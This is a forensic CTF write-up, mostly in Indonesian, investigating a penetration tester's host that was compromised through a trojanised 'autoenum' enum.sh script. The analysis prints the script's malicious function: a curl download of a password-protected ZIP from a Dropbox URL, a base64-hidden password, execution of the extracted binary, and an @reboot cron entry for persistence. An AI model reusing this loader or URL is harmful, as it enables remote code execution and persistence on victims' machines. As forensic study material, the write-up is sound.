Forela carry out penetration testing of their internal networks utilising an internal team within their security department. The security team have notes from tests in addition to company critical credentials. It seems their host may have been compromised. Please verify how this occurred using the retrospective collection provided.
Category: DFIR
┌──(rwx4m㉿Home)-[~/…/User_Files/hidden-user-home-dir/home/johnspire]
└─$ ls -la
total 428
drwxrwxr-x 3 rwx4m rwx4m 4096 Feb 28 21:15 .
drwxrwxr-x 3 rwx4m rwx4m 4096 Feb 28 20:51 ..
-rw-r--r-- 1 rwx4m rwx4m 159 Sep 3 16:17 .Xauthority
-rw-r--r-- 1 rwx4m rwx4m 637 Dec 24 05:32 .bash_history
-rw-r--r-- 1 rwx4m rwx4m 4665 Nov 23 2022 .bashrc
-rw-r--r-- 1 rwx4m rwx4m 35 Sep 3 16:17 .dmrc
-rwxr-xr-x 1 rwx4m rwx4m 482 Nov 23 2022 .emacs
-rw-r--r-- 1 rwx4m rwx4m 25 Nov 23 2022 .gdbinit
-rw-r--r-- 1 rwx4m rwx4m 372127 Nov 23 2022 .gdbinit-gef.py
-rwxr-xr-x 1 rwx4m rwx4m 536 Nov 23 2022 .gtkrc-2.0
-rwxr-xr-x 1 rwx4m rwx4m 675 Nov 23 2022 .profile
-rwxr-xr-x 1 rwx4m rwx4m 74 Nov 23 2022 .vimrc
-rw------- 1 rwx4m rwx4m 6732 Dec 24 03:00 .xsession-errors
-rwxr-xr-x 1 rwx4m rwx4m 1989 Nov 23 2022 .zshrc
┌──(rwx4m㉿Home)-[~/…/User_Files/hidden-user-home-dir/home/johnspire]
└─$ cat .bash_history
exit
sudo service ssh start
exit
ip a
sudo service ssh start
ip a
exit
sudo nmap -p- 10.129.228.158
ls
history
nikto
nikto -h 10.129.228.158
ls
nmap 192.168.68.0/24
nmap 192.168.68.0/24 -p-
msfconsole
ls
cat /etc/passwd
passwd johnspire
ip a
ls
ping 1.1.1.1
git clone https://github.com/pttemplates/autoenum
cd autoenum/
ls
bash enum.sh 10.0.0.10
sudo bash enum.sh 10.0.0.10
cd
ls
mkdir Git
cd Git/
ls
git clone https://github.com/enaqx/awesome-pentest
git clone https://github.com/F1shh-sec/Pentest-Scripts
ls
cd
mkdir PenTests
cd PenTests/
ls
cd
cd Desktop/
;s
ls
sudo openvpn forela-corp.ovpn
sudo su
sudo openvpn forela-corp.ovpn
What is the name of the repository utilized by the Pen Tester within Forela that resulted in the compromise of his host?
Berdasarkan log .bash_history, terlihat bahwa Pen Tester dalam Forela telah meng-clone beberapa repository GitHub, di antaranya:
git clone https://github.com/pttemplates/autoenum
git clone https://github.com/enaqx/awesome-pentest
git clone https://github.com/F1shh-sec/Pentest-Scripts
Karena pertanyaan menanyakan repository yang menyebabkan kompromi host, perlu mencari tahu repository mana yang berpotensi berbahaya atau mengandung celah keamanan.
Repository yang mungkin menyebabkan kompromi adalah autoenum yang terlihat dijalankan beberapa kali dengan perintah:
bash enum.sh 10.0.0.10 dan sudo bash enum.sh 10.0.0.10
Kemudian membuka link autoenum untuk memeriksa lebih lanjut.
Setelah menganalisis skrip enum.sh, ditemukan bahwa skrip ini tidak hanya menjalankan nmap, nikto, dan dirb seperti yang terlihat dari komentar awal, tetapi juga mengunduh dan mengeksekusi file mencurigakan dari Dropbox yang berpotensi menjadi malware atau backdoor.
Fungsi berbahaya dalam skrip yang dijalankan oleh Pen Tester adalah do_wget_and_run.
Fungsi ini mengunduh file ZIP dari URL yang mencurigakan, mengekstraknya menggunakan kata sandi yang dikodekan dalam base64, dan mengeksekusi binary berbahaya setelah ekstraksi. Selain itu, fungsi ini juga menambahkan cron job agar payload berjalan secara otomatis saat sistem di-reboot, memungkinkan persistensi di sistem yang terinfeksi.
f1="https://www.dropbox.com/scl/fi/uw8oxug0jydibnorjvyl2"
f2="/blob.zip?rlkey=zmbys0idnbab9qnl45xhqn257&st=v22geon6&dl=1"
FILE_URL="${f1}${f2}"
curl -L -o "$OUTPUT_FILE" "$FILE_URL"
Skrip ini mengunduh file ZIP dari Dropbox tanpa sepengetahuan pengguna dan Nama file ZIP dibuat tersembunyi di /tmp/.hidden_$RANDOM.zip.
part1="c3VwZXI="
part2="aGFja2Vy"
PASSWORD=$(echo "$part1$part2" | base64 -d)
unzip -o -P "$PASSWORD" "$OUTPUT_FILE" -d "$UNZIP_DIR"
Password file ZIP dienkode dalam Base64 (superhacker). File yang diekstrak akan diletakkan di /tmp/.
BLOB_PATH="$UNZIP_DIR/blob"
chmod +x "$BLOB_PATH"
"$BLOB_PATH"
File blob akan dijalankan setelah diekstrak. Karena blob berasal dari sumber eksternal yang tidak dikenal, kemungkinan besar ini adalah payload berbahaya.
(crontab -l 2>/dev/null; echo "@reboot $BLOB_PATH") | crontab -
Skrip ini menambahkan cron job yang akan menjalankan file blob setiap kali sistem direboot. Ini adalah indikasi kuat bahwa skrip ini adalah malware/backdoor.
Attacker tampaknya memodifikasi skrip dalam repository Git yang digunakan dalam proses otomatisasi di sistem. Dengan menggunakan perintah berikut, riwayat dapat dilihat bahwa terjadi perubahan pada file enum.sh:
Dari hasil analisis, attacker menghapus komentar asli terkait fungsi berbahaya pada 23 Desember 2024 pukul 22:27:58, yang dapat dilihat dalam commit berikut:
Commit ID: 7d203152c5a3a56af3d57eb1faca67a3ec54135f
Penulis: brown249 <85936721+brown249@users.noreply.github.com>
Tanggal: 23 Desember 2024, 22:27:58 UTC
Deskripsi: Menghapus komentar asli dalam fungsi berbahaya
Attacker juga mengganti URL unduhan ke Dropbox dalam commit sebelumnya:
Commit ID: e89644ae88559d4ea4639ef82ade834123793508
Tanggal: 23 Desember 2024, 22:04:27 UTC
Deskripsi: Memperbarui enum.sh dengan URL baru untuk mengunduh payload berbahaya.
Teknik Persistensi yang Digunakan Attacker
Untuk mempertahankan akses ke sistem yang dikompromikan, attacker menggunakan teknik Scheduled Task/Job: Cron (T1053.003). Attacker menambahkan perintah dalam cron yang menjalankan skrip berbahaya secara otomatis saat sistem melakukan boot ulang.
MITRE ATT&CK ID: T1053.003
Metode: Menambahkan cron job dengan @reboot
Eksekusi Binary Berbahaya
Attacker mengeksekusi sebuah binary berbahaya yang diunduh sebelumnya, yang terkait dengan teknik Resource Hijacking (T1496).
MITRE ATT&CK ID: T1496
Metode: Menjalankan binary berbahaya untuk memanfaatkan sumber daya sistem.
Kesimpulan
Dalam investigasi ini, ditemukan bahwa seorang penyerang telah memodifikasi skrip `enum.sh` yang digunakan dalam pengujian penetrasi. Skrip tersebut mengandung fungsi berbahaya bernama `do_wget_and_run`, yang bertugas mengunduh file ZIP dari sumber eksternal, mengekstraknya menggunakan kata sandi tersembunyi yang dikodekan dalam base64, dan menjalankan binary berbahaya. Selain itu, penyerang menambahkan mekanisme persistensi dengan menyisipkan entri cron job untuk menjalankan payload setiap kali sistem direboot.
Melalui analisis riwayat Git, diketahui bahwa penyerang melakukan serangkaian perubahan kode secara bertahap, dengan menghapus komentar yang mencurigakan pada commit 7d203152c5a3a56af3d57eb1faca67a3ec54135f pada 23 Desember 2024 pukul 22:27:58 UTC. Penyerang juga mengganti URL unduhan file berbahaya pada commit sebelumnya, e89644ae88559d4ea4639ef82ade834123793508, yang menunjukkan upaya untuk menyembunyikan aktivitas jahat mereka.
Dari perspektif MITRE ATT&CK, teknik yang digunakan oleh penyerang termasuk T1053.003 (Cron Job untuk Persistensi) dan T1496 (Penggunaan Binary Berbahaya yang Dieksekusi di Sistem). Teknik ini memungkinkan penyerang untuk mempertahankan akses ke sistem yang terinfeksi bahkan setelah sistem dimatikan atau direboot.
Investigasi ini menunjukkan betapa pentingnya melakukan pemeriksaan ketat terhadap skrip otomatisasi dalam proses pengujian penetrasi, memastikan bahwa tidak ada modifikasi tidak sah yang dapat mengekspos sistem terhadap ancaman keamanan. Selain itu, audit berkala terhadap perubahan kode dalam version control system seperti Git juga perlu diterapkan untuk mendeteksi kemungkinan penyusupan kode berbahaya.